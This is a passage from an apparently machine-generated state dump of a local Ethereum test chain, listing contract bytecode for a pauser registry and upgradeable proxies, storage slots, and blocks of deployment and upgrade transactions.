01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000033":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x0000000000000000000000000000000000000000000000000000000000000097":"0x000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512","0x0000000000000000000000000000000000000000000000000000000000000098":"0x0000000000000000000000000000000000000000000000000000000000000000","0x00000000000000000000000000000000000000000000000000000000000000c9":"0xd65ac9700cec4e530497617d02afdf0d5de3ed18466aca1578edcbce0d40ee16","0x00000000000000000000000000000000000000000000000000000000000000cb":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc":"0x0000000000000000000000000dcd1bf9a1b36ce34237eeafef220932846bcd82","0x3d2729dff03bf559da35a983e55814217363c2a44a7ea59bdf688ab8754ea49d":"0x0000000000000000000000000000000000000000000000000000000000000001","0x6e45a9ad53caf7293849c96e5070a246e20a7cc2986b7660b3fb63e30ab898fc":"0x0000000000000000000000000000000000000000000000000000000000000000","0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103":"0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}},"0xe7f1725e7734ce288f8367e1bb143e90bb3f0512":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea264697066735822122067fae8bb511d125cec8f8ec05f957b73867dd98e7dd06293a6a42013e1b0f4dd64736f6c634300081b0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000001":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x723077b8a1b173adc35e5f0e7e3662fd1208212cb629f9c128551ea7168da722":"0x0000000000000000000000000000000000000000000000000000000000000001"}},"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266":{"nonce":59,"balance":"0x21e0bb8a8091a1fba13","code":"0x","storage":{}},"0xf5059a5d33d5853360d16c683c16e67980206f36":{"nonce":1,"balance":"0x0","code":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107b860279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f79190610768565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610784565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff808211156106fc57600080fd5b818601915086601f83011261071057600080fd5b81358181111561071f57600080fd5b87602082850101111561073157600080fd5b6020830194508093505050509250925092565b60005b8381101561075f578181015183820152602001610747565b50506000910152565b6000825161077a818460208701610744565b9190910192915050565b60208152600082518060208401526107a3816040850160208701610744565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206f42262012bb1d1a07475f68d95d58d18353d78d57c71d0a11845bbf297d596564736f6c63430008180033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x00000000000000000000a82ff9afd8f496c3d6ac40e2a0f282e47488cfc90001","0x0000000000000000000000000000000000000000000000000000000000000001":"0x0000000000000000000000000000000000000000000000000000000000000000","0x0000000000000000000000000000000000000000000000000000000000000064":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x0000000000000000000000000000000000000000000000000000000000000096":"0x0000000000000000000000000000000000000000000000000000000000000001","0x000000000000000000000000000000000000000000000000000000000000009c":"0x0000000000000000000000000000000000000000000000000000000000000003","0x000000000000000000000000000000000000000000000000000000000000009d":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x000000000000000000000000000000000000000000000000000000000000009e":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc":"0x00000000000000000000000036c02da8a0983159322a80ffe9f24b1acff8b570","0x683723e34a772b6e4f2c919bba7fa32ed8ea11a8325f54da7db716e9d9dd98c7":"0x00000000000000000000000000000000000000000000000000322af8000000c8","0xaf85b9071dfafeac1409d3f1d19bafc9bc7c37974cde8df0ee6168f0086e539c":"0x000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e","0xaf85b9071dfafeac1409d3f1d19bafc9bc7c37974cde8df0ee6168f0086e539d":"0x00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc49","0xaf85b9071dfafeac1409d3f1d19bafc9bc7c37974cde8df0ee6168f0086e539e":"0x00000000000000000000000095401dc811bb5740090279ba06cfa8fcf6113778","0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103":"0x0000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"}}},"best_block_number":"0x14","blocks":[{"header":{"parentHash":"0xed111cec961583d0e79c2921c0d330e1f7a28fc63df0db46905a4f8f274cce95","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x1a29b493b12650a4be6cf42d7e7f0ff3bd1dfebf33b14e0822abaf6fda715e07","transactionsRoot":"0xf713d5bb1159eb9c41b0ea07f5a0c3df8f1ea3c4d6079d7eddf237c83b9601cf","receiptsRoot":"0xb12a47d135f48ffa524c6a54f2b1b66742e30f6d85e10126f70dd8f40b30644f","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000040000000400004000000000000000000000000000400000000000000000000000000000000000000000100100004000000000000000000000000000000000400000002000000000000000000000000000000040000000000000000000000000004800000000004000000000000000000000000000000000300000002000040000000000400000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000040020480000000000000000040000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000400000","difficulty":"0x0","number":"0x1a","gasLimit":"0x1c9c380","gasUsed":"0x22aff","timestamp":"0x672a8e17","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x2db866e","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x1d","gas":"0x2fe95","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","value":"0x0","accessList":[],"input":"0x9623609d000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084019e27290000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000009635f643e140090a9a8dcd712ed6285858cebef000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000","r":"0x179a240390eccd825e3af3889b83756d8100c03c22f680a43c09ab7c3dbeb233","s":"0x2b8e64c68d4e5e5ba82859eca5e1635f1087f352417361305ac60d3f4057143d","yParity":"0x1","hash":"0x8d7d689b5e7498d26362ee52308da636bcbbe413fa03ca37f136aa3bcb8cda91"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x0000000000000000000000000000000000000000000000000000000000000000","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","transactionsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","receiptsRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x0","gasLimit":"0x1c9c380","gasUsed":"0x0","timestamp":"0x672a8e16","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x3b9aca00","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[],"ommers":[]},{"header":{"parentHash":"0x95772881867a932925d89eca1f14fb07fd9e4046a18d14d2adf97c6bc5c6d6d2","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x8b17cbb9a1c22c80cf0266ceaf55dce42cc7af775c15177f74f88970c634d7ba","transactionsRoot":"0x018bb2f69c11e7bb3e4d12612248608dc0d922a6c0b11bd63ab89f47d40d2429","receiptsRoot":"0x72b0514c7d8a41e64a9fd1096ca2c64205fb6612bb58f99d501eb0fb265b8cf6","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000800000000000000000000000000000240000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000004000000001000000001000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0xe","gasLimit":"0x1c9c380","gasUsed":"0xac96","timestamp":"0x6735270e","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0xccda47b","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x33","gas":"0xee61","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x851356ae760d987e095750cceb3bc6014560891c","value":"0x0","accessList":[],"input":"0xa98fb35500000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000","r":"0xa4af07a970435231496626a55d0d80bdafa530a861e2733ad1dc81c9478dbd0e","s":"0x7f8b31e496c29254359c94feffa8ad077b0f554805c9f4cf4b9a64f8257299ad","yParity":"0x1","hash":"0x74ee4298c5f7bced42025541b4db7c198d431024c87cc89a6e62321bc41eba1c"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0xb8ffc9bb8b3275fc3e13bc11b54deb052058ef287833da2e6f0d2977104952fc","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x4d4b95bc6dad2e4415c076f77b189b6025971797adbe77e5b97ff956e085a556","transactionsRoot":"0xb0044f32bbb5f1da2c556ff36d6d2183cc75d633fe20890bda9c1c1729bb09e6","receiptsRoot":"0xafa028409384e6a4feba4b7fe30f46482bab86397fe176fef28ff4cae9c9d27a","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000400000000000000000000000020000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000080000008000000000000000000000000000000000000000","difficulty":"0x0","number":"0x7","gasLimit":"0x1c9c380","gasUsed":"0x97a5","timestamp":"0x6735270e","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x1c0d0e08","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x2a","gas":"0xd175","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","value":"0x0","accessList":[],"input":"0x99a88ec400000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137780000000000000000000000004826533b4897376654bb4d4ad88b7fafd0c98528","r":"0x48b6c5435e09e45fc2ba3923e96f1579246e0b0cfb335fe229585b5e342746e7","s":"0x15741ad5c0ad3b3abd2ad71d46552f3ec131dc417eb92382f8f3e3ea5bdc58c1","yParity":"0x1","hash":"0x827ffa4ca4cea822e05fb27b290eee847860bb15431bdace00adf814eaed3bac"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0xeaf252f7a75ebd279d9263a27c3187a39907685889286f8289865c6db2d8b9fa","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x6cd698866ed264f939f986991eaba7d40e1db93d4a20bca4ec91ef2ae3a63918","transactionsRoot":"0xc43058a32d63bf264601c784769c3dfd6e1524125e2ed07de6af226a5844c762","receiptsRoot":"0x83edb4e5d16a5943b62d29cede956c63350dd0044b18fb1b45b6e4f88f32c058","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x3","gasLimit":"0x1c9c380","gasUsed":"0x46bc3","timestamp":"0x6735270e","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x2df8f244","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x23","gas":"0x5beec","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x608060405234801561001057600080fd5b50610447806100206000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c80632702747d14610046578063793e1c8e1461006f5780637be6aa6b14610090575b600080fd5b61005961005436600461023e565b6100a3565b6040516100669190610277565b60405180910390f35b61007861dead81565b6040516001600160a01b039091168152602001610066565b61005961009e3660046102c4565b6100fd565b604080516001600160a01b0383166024808301919091528251808303909101815260449091019091526020810180516001600160e01b03166333cfb7b760e01b1790526060906100f3848261013a565b9150505b92915050565b6040805160048152602481019091526020810180516001600160e01b031663e481af9d60e01b179052606090610133838261013a565b9392505050565b6060600080846001600160a01b03168460405161015791906102e1565b600060405180830381855afa9150503d8060008114610192576040519150601f19603f3d011682016040523d82523d6000602084013e610197565b606091505b50915091508180156101aa575060008151115b156101cc57808060200190518101906101c39190610336565b925050506100f7565b6040805160018082528183019092526000916020808301908036833701905050905061dead81600081518110610204576102046103fb565b6001600160a01b039092166020928302919091019091015292506100f7915050565b6001600160a01b038116811461023b57600080fd5b50565b6000806040838503121561025157600080fd5b823561025c81610226565b9150602083013561026c81610226565b809150509250929050565b6020808252825182820181905260009190848201906040850190845b818110156102b85783516001600160a01b031683529284019291840191600101610293565b50909695505050505050565b6000602082840312156102d657600080fd5b813561013381610226565b6000825160005b8181101561030257602081860181015185830152016102e8565b506000920191825250919050565b634e487b7160e01b600052604160045260246000fd5b805161033181610226565b919050565b6000602080838503121561034957600080fd5b825167ffffffffffffffff8082111561036157600080fd5b818501915085601f83011261037557600080fd5b81518181111561038757610387610310565b8060051b604051601f19603f830116810181811085821117156103ac576103ac610310565b6040529182528482019250838101850191888311156103ca57600080fd5b938501935b828510156103ef576103e085610326565b845293850193928501926103cf565b98975050505050505050565b634e487b7160e01b600052603260045260246000fdfea2646970667358221220d2a1dc3d5b3de166be22fce7e789ceac2302c613380087624652f3f48de1ed0864736f6c63430008180033","r":"0x1aa8b9851c142daa520d32aa356116c7beec667c4193c37cc7c74f962ea785fc","s":"0xdf78319ef53c71005a1be9e8c96295b0984f8f704edee8e6f85ce8d5e3a12dd","yParity":"0x0","hash":"0xf0aa3a0f536457cd460fd21d384d403fe8d176fdc3a797da7ec3d0ba7a43594a"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x651eaac831dc52d77fc7ef37f14881b8dcbff27de4748a483df3256a3aea341c","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x7ff36f1e8314f4e5d5403242c1b5e318ab649141112823eb5e3bb1ff4ae58988","transactionsRoot":"0xb8f88688a28109c365c11aa7083d9cfff9d98d405a4fecf83e1bdbd0d474a222","receiptsRoot":"0x1a20f7348873c6b49789c3dec1f5c4199deb02a1eff16ec49cf8040c9aad9cf8","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000040000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000004001000000000000000","difficulty":"0x0","number":"0x2","gasLimit":"0x1c9c380","gasUsed":"0x516a0","timestamp":"0x6735270e","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x345fa48b","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x22","gas":"0x69cc5","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x608060405234801561001057600080fd5b5060405161074538038061074583398101604081905261002f91610259565b60005b825181101561006d576100658382815181106100505761005061032f565b6020026020010151600161007e60201b60201c565b600101610032565b5061007781610150565b5050610345565b6001600160a01b0382166100ef5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b60648201526084015b60405180910390fd5b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b0381166101be5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b60648201526084016100e6565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b634e487b7160e01b600052604160045260246000fd5b80516001600160a01b038116811461025457600080fd5b919050565b6000806040838503121561026c57600080fd5b82516001600160401b038082111561028357600080fd5b818501915085601f83011261029757600080fd5b81516020828211156102ab576102ab610227565b8160051b604051601f19603f830116810181811086821117156102d0576102d0610227565b6040529283528183019350848101820192898411156102ee57600080fd5b948201945b83861015610313576103048661023d565b855294820194938201936102f3565b9650610322905087820161023d565b9450505050509250929050565b634e487b7160e01b600052603260045260246000fd5b6103f1806103546000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea264697066735822122082d0bf2d943ad14055e4e88fc955638b565f43d854afdcd3d6cd966fe8c2201a64736f6c634300081800330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","r":"0x8f0738a5f373b54eaa9ed9862e003b6504f68211a538b0b868a0be6dd8c667f3","s":"0x351a06fbd02dfc6dbe37f3e41f48da1e19baa9807dbd36dc7863dfa66f5d6346","yParity":"0x1","hash":"0x80ad60ea39051d4db7ecd3383a51651b4017c9c2c7613e87784190be41ab3dc5"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0xa132fcf5a411dbb73abfc284990a3cc8254d584c240d307c839519a9006fea1e","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0xfc41f4a06e766fb115effdb74a526f61928b5240e57fac46788e302e8ac6afb2","transactionsRoot":"0x6db1fb1e8906928ef55cf1bf75b2a7a25558da27dc799e3f3b28722c42b0b7ea","receiptsRoot":"0xe4ecd65bb8597da48f6c23e8760e98de87284d9d5d69efcc3b72c489c9163e1c","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000080000400000000000000000000000000001000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000008000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000420000000000000000000000000000000000000000000000000000000000001000000000100000000000000","difficulty":"0x0","number":"0x4","gasLimit":"0x1c9c380","gasUsed":"0x117e5c","timestamp":"0x672a8e17","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x28423117","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"